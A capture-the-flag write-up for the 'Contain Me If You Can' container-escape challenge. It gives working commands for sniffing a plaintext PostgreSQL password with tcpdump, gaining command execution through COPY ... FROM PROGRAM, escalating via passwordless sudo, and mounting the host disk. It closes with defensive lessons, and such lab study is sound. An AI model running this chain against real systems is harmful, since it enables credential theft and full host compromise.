Contain Me If You Can CTF: Container Escape via a Plaintext Postgres Connection
Contain Me If You Can: Challenge Brief
You've found yourself in a containerized environment. To get the flag, you must move laterally and escape your container. Can you do it? The flag is placed at
/flagon the host's file system. Good luck!
The escape does not use a kernel exploit. It chains a sniffed plaintext PostgreSQL credential, a superuser COPY ... FROM PROGRAM RCE on the neighbouring database container, a passwordless sudo misconfiguration, and a host block device exposed to that container. Four ordinary misconfigurations stacked into a full host takeover.
The Exploit Chain at a Glance
- From our container, spot a plaintext TCP connection to a PostgreSQL server on the adjacent container.
- Capture the PostgreSQL startup packet with
tcpdumpand read the username and password straight out of the cleartext. - Log in as a Postgres superuser and get RCE via
COPY ... FROM PROGRAM. - The
postgresaccount has passwordlesssudo; mount the host block device/dev/vdaand read/flag.
Step 1: Reconnaissance
The container drops us straight into a root shell:
root@63b462467e78:/#
Standard initial enumeration:
id; hostname
ip -4 addr
ps auxww
ss -antp
Key findings:
- Running as
rootinside the container - IP:
172.19.0.3 - Only process running is
sleep infinity(PID 1) plus our bash shell - An established TCP connection to
172.19.0.2:5432, which is PostgreSQL
tcp 0 0 172.19.0.3:33702 172.19.0.2:5432 ESTABLISHED
This is the key observation (Hint 1). A persistent connection to a PostgreSQL server on the adjacent container, with no process visible in our namespace owning it (the client runs in a separate PID namespace). Useful tools were also confirmed present: tcpdump, psql, nc, ncat, python3, perl.
Step 2: No Credentials Lying Around
Before reaching for the network, the obvious local sources came up empty:
cat /proc/1/environ | tr '\0' '\n'
env
find / -maxdepth 4 \( -name '.pgpass' -o -name '*.env' -o -iname '*pgpass*' \) 2>/dev/null
cat /root/.bash_history /root/.psql_history /root/.pgpass 2>/dev/null
Nothing useful in environment variables or config files. The credentials had to come from the wire.
Step 3: Capturing Postgres Credentials with tcpdump
PostgreSQL's wire protocol sends the startup packet (including the password, depending on auth method) in cleartext when TLS is not enforced (Hint 2). The catch: PostgreSQL does not re-authenticate on an existing connection, so a capture of the live socket only showed periodic keepalive queries:
tcpdump -i eth0 -n -A -s 0 'tcp port 5432' -w /tmp/pg.pcap &
Q....SELECT now();
2026-05-24 18:52:20.323279+00
SELECT 1
Several attempts to forcibly kill the socket and force a fresh handshake failed:
- Python source-port steal failed with "address already in use" because the existing connection still held the port.
- Socket inode injection found the inode in
/proc/net/tcp, but no process in our PID namespace owned it, so there was no/proc/<pid>/fdentry to act on. - iptables was not available; tc netem was, but more complex than needed.
The simple answer: the client reconnects and re-authenticates automatically about every 30 seconds. Leaving the capture running grabbed a fresh startup packet on its own. Since strings was not installed, Python pulled the printable strings out of the pcap:
data = open('/tmp/pg.pcap','rb').read()
import re
for m in re.finditer(b'[\x20-\x7e]{4,}', data):
print(m.group().decode())
The plaintext startup packet fell right out:
user
user
database
mydatabase
application_name
psql
SecretPostgreSQLPassword
Credentials recovered: username user, password SecretPostgreSQLPassword, database mydatabase.
Step 4: Logging In as a Postgres Superuser
psql -h 172.19.0.2 -p 5432 -U user -d mydatabase
# Password: SecretPostgreSQLPassword
Connected to PostgreSQL 16.8. Checking the role with \du showed the user account had superuser privileges, full administrative access to the database.
Step 5: RCE via COPY FROM PROGRAM
PostgreSQL's COPY ... FROM PROGRAM lets a superuser run arbitrary shell commands and capture their output (Hint 3). Create a table to hold output, then confirm execution:
CREATE TABLE cmdout(line text);
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM 'id';
SELECT * FROM cmdout;
uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)
We have RCE as the postgres user on the database container (172.19.0.2), and crucially, that user is a member of the wheel group.
Step 6: Container Escape Enumeration
The core_pattern escape (Hint 5) needs a writable /proc/sys/kernel/core_pattern, which the write attempt failed silently against. But the device and privilege enumeration pointed somewhere better.
Host block devices are visible:
COPY cmdout FROM PROGRAM 'ls -la /dev/ | grep -v "^total"';
brw------- 1 root root 254, 0 May 24 19:43 vda
brw------- 1 root root 254, 16 May 24 19:43 vdb
But no effective capabilities, so a direct mount as postgres would fail, and nsenter -t 1 into PID 1's namespaces also failed:
COPY cmdout FROM PROGRAM 'cat /proc/self/status | grep CapEff';
-- CapEff: 0000000000000000
The pivot (Hint 4): sudo is installed on the database container, and the postgres user has it passwordless ("a really easy and convenient way to become root for maintenance"):
COPY cmdout FROM PROGRAM 'sudo -n id 2>&1; echo rc=$?';
uid=0(root) gid=0(root) groups=0(root),1(bin),...,10(wheel),...
rc=0
Passwordless sudo works, almost certainly via %wheel ALL=(ALL) NOPASSWD: ALL in sudoers. The missing capabilities no longer matter, because we can become real root.
Step 7: Mount the Host Filesystem and Read the Flag
Make a mount point in /tmp (the only writable directory for postgres), mount the host root disk /dev/vda with root via sudo, and read the flag:
COPY cmdout FROM PROGRAM 'mkdir -p /tmp/host; sudo -n mount /dev/vda /tmp/host 2>&1; echo rc=$?';
-- rc=0
COPY cmdout FROM PROGRAM 'sudo ls /tmp/host/';
-- bin boot dev etc flag home lib ... var
COPY cmdout FROM PROGRAM 'sudo cat /tmp/host/flag 2>&1';
WIZ_CTF{REDACTED}
Contain Me If You Can CTF Flag
WIZ_CTF{REDACTED}
Attack Chain
[Our container 172.19.0.3]
|
| Observe plaintext TCP to 172.19.0.2:5432
| Capture the PostgreSQL startup packet with tcpdump
| Extract: user / SecretPostgreSQLPassword / mydatabase
v
[PostgreSQL container 172.19.0.2]
|
| psql login as a superuser
| COPY cmdout FROM PROGRAM '...' -> RCE as postgres (wheel group)
| sudo -n -> passwordless root
| mount /dev/vda /tmp/host
v
[Host filesystem]
|
| cat /tmp/host/flag
v
WIZ_CTF{REDACTED}
Key Vulnerabilities
| Vulnerability | Impact |
|---|---|
| Plaintext PostgreSQL connection on the internal network | Credential capture via tcpdump |
| PostgreSQL superuser granted to an application account | Full COPY FROM PROGRAM RCE |
Passwordless sudo for postgres/wheel on the DB container | Privilege escalation to root |
Host block device /dev/vda exposed to the container | Full host filesystem access |
Contain Me If You Can: Lessons Learned
- Encrypt internal traffic too. "Internal" is not a trust boundary. TLS for PostgreSQL is trivial to configure, and it turns the cleartext startup packet (the entire first link of this chain) into noise.
- Application accounts should never be database superusers. A least-privilege role with only the table grants it needs cannot run
COPY ... FROM PROGRAM. Superuser on the app account was the difference between a credential leak and full RCE. - Passwordless sudo for a service account is a critical misconfiguration, especially when that account is reachable through network exploitation. Convenience for "maintenance" became the privilege-escalation primitive.
- Don't expose host block devices to containers. Once
/dev/vdais visible and something in the container can become root, the container boundary is gone. Container breakout rarely needs a kernel exploit when an adjacent service is this generous.
Contain Me If You Can: Final Thoughts
This challenge is a tidy reminder that container escapes are usually a story about the neighbours, not the kernel. Our starting container was a dead end on its own: root, but capability-stripped, no host devices it could use, nothing to escalate. The entire path ran through the database container next door, and every link was a configuration choice a real team could plausibly make for "convenience" - plaintext Postgres, a superuser app account, passwordless sudo, a mounted host disk.
Defense in depth is the moral. Any single one of those four fixes (TLS, least-privilege DB role, no passwordless sudo, no exposed block device) breaks the chain. The flag says it best: the guests turned into hosts.
Challenge created by Sagi Tzadik as part of the Wiz Cloud Security Championship. Writeup completed: May 2026.